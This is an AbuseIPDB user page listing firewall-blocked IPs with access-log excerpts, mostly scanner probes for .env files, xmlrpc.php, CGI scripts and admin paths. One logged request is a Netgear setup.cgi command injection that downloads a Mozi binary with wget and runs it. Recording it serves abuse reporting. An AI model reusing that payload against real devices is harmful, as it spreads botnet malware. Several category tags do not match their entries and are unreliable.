AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User AF joined AbuseIPDB in April 2025 and has reported 3,755 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇨🇦 146.190.241.52	02 Jun 2025	Activity: Port Scan Action: Blocked by firewall Access Log Entries: • [01/Jun/2025:06:27:46 +0000] ... show more Activity: Port Scan Action: Blocked by firewall Access Log Entries: • [01/Jun/2025:06:27:46 +0000] "GET /squid-internal-mgr/cachemgr.cgi HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Port Scan
🇩🇪 164.92.160.26	02 Jun 2025	Activity: Normal browsing, port scanning, and attempted SQL injection Action: Blocked by firewall ... show more Activity: Normal browsing, port scanning, and attempted SQL injection Action: Blocked by firewall Access Log Entries: • [01/Jun/2025:14:43:21 +0000] "x16x03x01x00ux01x00x00qx03x03dEV_x01xABxA4xAExC3xF8xC0x181~xA5nvx00>xC5vM(emMxE5x942x94xBCFx00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [01/Jun/2025:14:43:21 +0000] "x16x03x01x00ux01x00x00qx03x03UxAFxC4Mx0BxFCxA1fx94xC12xA1x91-x08xB0cbx06xBFx9Bx1Bx00x00{ux94xD7#xC4xF2x98x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [01/Jun/2025:14:43:21 +0000] "x16x03x01x00ux01x00x00qx03x03Ix92xECxCAx19U[xCDx93xC2xF9xE6xE5x02x80x11x1BxCA{Vx99x11x14~VxEAxF1/xE2ZxC8x9Cx00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [01/Jun/2025:14:43:21 +0000] "GET /form.html HTTP/1.1" 400 150 "-" "curl/8.1.2" "-" show less	Port Scan SQL Injection
🇲🇳 180.149.125.168	02 Jun 2025	Activity: Normal web activity and port scan attempt Action: Blocked by firewall Access Log Entries ... show more Activity: Normal web activity and port scan attempt Action: Blocked by firewall Access Log Entries: • [01/Jun/2025:08:42:26 +0000] "GET / HTTP/1.1" 400 154 "http://<host_IP>/" "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" "-" show less	Port Scan
🇲🇳 180.149.126.13	02 Jun 2025	Activity: Attempted access to a server-side script, potentially indicating hacking or probing activi ... show more Activity: Attempted access to a server-side script, potentially indicating hacking or probing activity Action: Blocked by firewall Access Log Entries: • [01/Jun/2025:09:01:10 +0000] "GET /stalker_portal/server/tools/auth_simple.php HTTP/1.1" 403 162 "-" "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" "-" show less	Hacking
🇳🇱 196.251.70.28	02 Jun 2025	Activity: Attempted access to environment configuration file, potentially probing for web applicatio ... show more Activity: Attempted access to environment configuration file, potentially probing for web application vulnerabilities Action: Blocked by firewall Access Log Entries: • [01/Jun/2025:07:13:29 +0000] "GET /.env HTTP/1.1" 403 118 "-" "Opera/9.80 (Android; Opera Mini/9.0.1829/66.318; U; en) Presto/2.12.423 Version/12.16" "-" show less	Web App Attack
🇳🇱 196.251.85.66	02 Jun 2025	Activity: Attempted access to environment configuration file, indicative of potential web app attack ... show more Activity: Attempted access to environment configuration file, indicative of potential web app attack or reconnaissance Action: Blocked by firewall Access Log Entries: • [01/Jun/2025:09:23:00 +0000] "GET /.env HTTP/1.1" 403 118 "-" "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia6120c/3.70; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413" "-" show less	SQL Injection
🇳🇱 196.251.85.74	02 Jun 2025	Activity: Attempted access to environment configuration file, likely probing for vulnerabilities Ac ... show more Activity: Attempted access to environment configuration file, likely probing for vulnerabilities Action: Blocked by firewall Access Log Entries: • [01/Jun/2025:21:14:47 +0000] "GET /.env HTTP/1.1" 403 118 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Safari/605.1.15" "-" show less	SQL Injection
🇳🇱 196.251.115.46	02 Jun 2025	Activity: Attempt to access environment configuration file Action: Blocked by firewall Access Log ... show more Activity: Attempt to access environment configuration file Action: Blocked by firewall Access Log Entries: • [01/Jun/2025:23:59:46 +0000] "GET /.env HTTP/1.1" 403 118 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15" "-" show less	SQL Injection
🇩🇪 46.101.237.150	01 Jun 2025	Activity: Normal web browsing, port scanning, and potential spoofing attempts Action: Blocked by fi ... show more Activity: Normal web browsing, port scanning, and potential spoofing attempts Action: Blocked by firewall Access Log Entries: • [31/May/2025:05:41:25 +0000] "GET /odinhttpcall1748670085 HTTP/1.1" 400 154 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [31/May/2025:05:41:25 +0000] "POST /sdk HTTP/1.1" 403 146 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [31/May/2025:05:41:25 +0000] "GET /HNAP1 HTTP/1.1" 400 154 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [31/May/2025:05:41:25 +0000] "GET /evox/about HTTP/1.1" 400 154 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [31/May/2025:05:41:26 +0000] "GET / HTTP/1.1" 400 154 "-" "-" "-" show less	Port Scan Spoofing
🇩🇪 104.248.27.165	01 Jun 2025	Activity: Port scanning and potential SQL injection attempts Action: Blocked by firewall Access Lo ... show more Activity: Port scanning and potential SQL injection attempts Action: Blocked by firewall Access Log Entries: • [31/May/2025:05:41:26 +0000] "GET /v2/_catalog HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" • [31/May/2025:05:41:26 +0000] "GET /solr/admin/info/system HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" • [31/May/2025:05:41:27 +0000] "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" • [31/May/2025:05:41:27 +0000] "POST / HTTP/1.1" 403 146 "-" "Go-http-client/1.1" "-" show less	Port Scan SQL Injection
🇩🇪 138.68.111.40	01 Jun 2025	Activity: Port scanning and potential SQL injection attempts Action: Blocked by firewall Access Lo ... show more Activity: Port scanning and potential SQL injection attempts Action: Blocked by firewall Access Log Entries: • [31/May/2025:05:41:26 +0000] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" • [31/May/2025:05:41:26 +0000] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" • [31/May/2025:05:41:27 +0000] "GET / HTTP/1.1" 400 154 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-" show less	Port Scan SQL Injection
🇵🇭 175.176.23.55	01 Jun 2025	Activity: Attempted access to xmlrpc.php, potentially indicative of hacking or web app attack activi ... show more Activity: Attempted access to xmlrpc.php, potentially indicative of hacking or web app attack activity Action: Blocked by firewall Access Log Entries: • [31/May/2025:07:01:09 +0000] "POST /xmlrpc.php HTTP/1.1" 403 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" "-" show less	Hacking
🇺🇸 143.198.64.110	01 Jun 2025	Activity: Port Scan and Web App Attack attempt Action: Blocked by firewall Access Log Entries: • [ ... show more Activity: Port Scan and Web App Attack attempt Action: Blocked by firewall Access Log Entries: • [31/May/2025:07:02:10 +0000] "GET /squid-internal-mgr/cachemgr.cgi HTTP/1.1" 403 118 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Port Scan Bad Web Bot
🇺🇸 137.184.105.192	01 Jun 2025	Activity: Web Bot activity (zgrab scanner) Action: Blocked by firewall Access Log Entries: • [31/M ... show more Activity: Web Bot activity (zgrab scanner) Action: Blocked by firewall Access Log Entries: • [31/May/2025:07:40:28 +0000] "GET /aaa9 HTTP/1.1" 403 118 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 20.168.122.3	01 Jun 2025	Activity: Attempted SSH connection using the Go SSH client Action: Blocked by firewall Access Log ... show more Activity: Attempted SSH connection using the Go SSH client Action: Blocked by firewall Access Log Entries: • [31/May/2025:11:15:34 +0000] "SSH-2.0-Go" 400 150 "-" "-" "-" show less	SSH
🇦🇷 45.230.66.6	01 Jun 2025	Activity: Attempted web application attack involving command injection and configuration file access ... show more Activity: Attempted web application attack involving command injection and configuration file access Action: Blocked by firewall Access Log Entries: • [31/May/2025:12:04:34 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.230.66.6:11150/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 400 162 "-" "-" "-" show less	SQL Injection Web App Attack
🇳🇱 178.128.254.135	01 Jun 2025	Activity: Normal web activity, port scanning attempts, and potential spoofing or malicious handshake ... show more Activity: Normal web activity, port scanning attempts, and potential spoofing or malicious handshake attempts Action: Blocked by firewall Access Log Entries: • [31/May/2025:13:21:07 +0000] "x16x03x01x00ux01x00x00qx03x03{r]x97xE3ix99kxD5xA7x1AxD2xDFx94xB4x9Flx8Fx13xE0xD3#x1FHxEE^x87Dx04xAAx15xE6x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [31/May/2025:13:21:14 +0000] "x16x03x01x00ux01x00x00qx03x03" 400 150 "-" "-" "-" show less	Port Scan Spoofing
🇺🇸 20.65.193.176	01 Jun 2025	Activity: Web Bot activity scanning for web application vulnerabilities Action: Blocked by firewall ... show more Activity: Web Bot activity scanning for web application vulnerabilities Action: Blocked by firewall Access Log Entries: • [31/May/2025:13:27:27 +0000] "GET /hudson HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 64.62.156.189	01 Jun 2025	Activity: Possible Ping of Death attempt or malformed request Action: Blocked by firewall Access L ... show more Activity: Possible Ping of Death attempt or malformed request Action: Blocked by firewall Access Log Entries: • [31/May/2025:13:43:30 +0000] "x16x03x01x00{x01x00x00wx03x037!xB2:xB4x1DxA6xADxC8xE1xE1x10x92aRx01>x12x1Ax18Ix1F6x93B)`x9C;xDDx81Wx00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" show less	Ping of Death
🇺🇸 209.141.35.136	01 Jun 2025	Activity: Web Bot activity attempting to scan or probe the web server Action: Blocked by firewall ... show more Activity: Web Bot activity attempting to scan or probe the web server Action: Blocked by firewall Access Log Entries: • [31/May/2025:13:46:07 +0000] "GET / HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇨🇦 165.227.47.218	01 Jun 2025	Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Ent ... show more Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Entries: • [31/May/2025:15:15:27 +0000] "GET /aaa9 HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇮🇳 64.227.161.94	01 Jun 2025	Activity: Normal browsing, port scanning, and potential exploitation attempts Action: Blocked by fi ... show more Activity: Normal browsing, port scanning, and potential exploitation attempts Action: Blocked by firewall Access Log Entries: • [31/May/2025:15:37:18 +0000] "GET //wp-includes/ID3/license.txt HTTP/1.1" 403 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" "-" • [31/May/2025:15:37:18 +0000] "GET //feed/ HTTP/1.1" 403 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" "-" • [31/May/2025:15:37:19 +0000] "GET //xmlrpc.php?rsd HTTP/1.1" 403 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" "-" show less	Port Scan Exploited Host
🇱🇹 194.0.234.149	01 Jun 2025	Activity: Web Bot activity scanning the website Action: Blocked by firewall Access Log Entries: • ... show more Activity: Web Bot activity scanning the website Action: Blocked by firewall Access Log Entries: • [31/May/2025:15:43:53 +0000] "GET / HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 20.12.240.74	01 Jun 2025	Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Ent ... show more Activity: Web Bot activity scanning for vulnerabilities Action: Blocked by firewall Access Log Entries: • [31/May/2025:16:14:59 +0000] "GET / HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇩🇪 165.22.27.189	01 Jun 2025	Activity: Attempted access to CGI script indicating potential web application attack or reconnaissan ... show more Activity: Attempted access to CGI script indicating potential web application attack or reconnaissance Action: Blocked by firewall Access Log Entries: • [31/May/2025:18:09:48 +0000] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 400 154 "http://<host_IP>:80/cgi-bin/authLogin.cgi" "Go-http-client/1.1" "-" show less	SQL Injection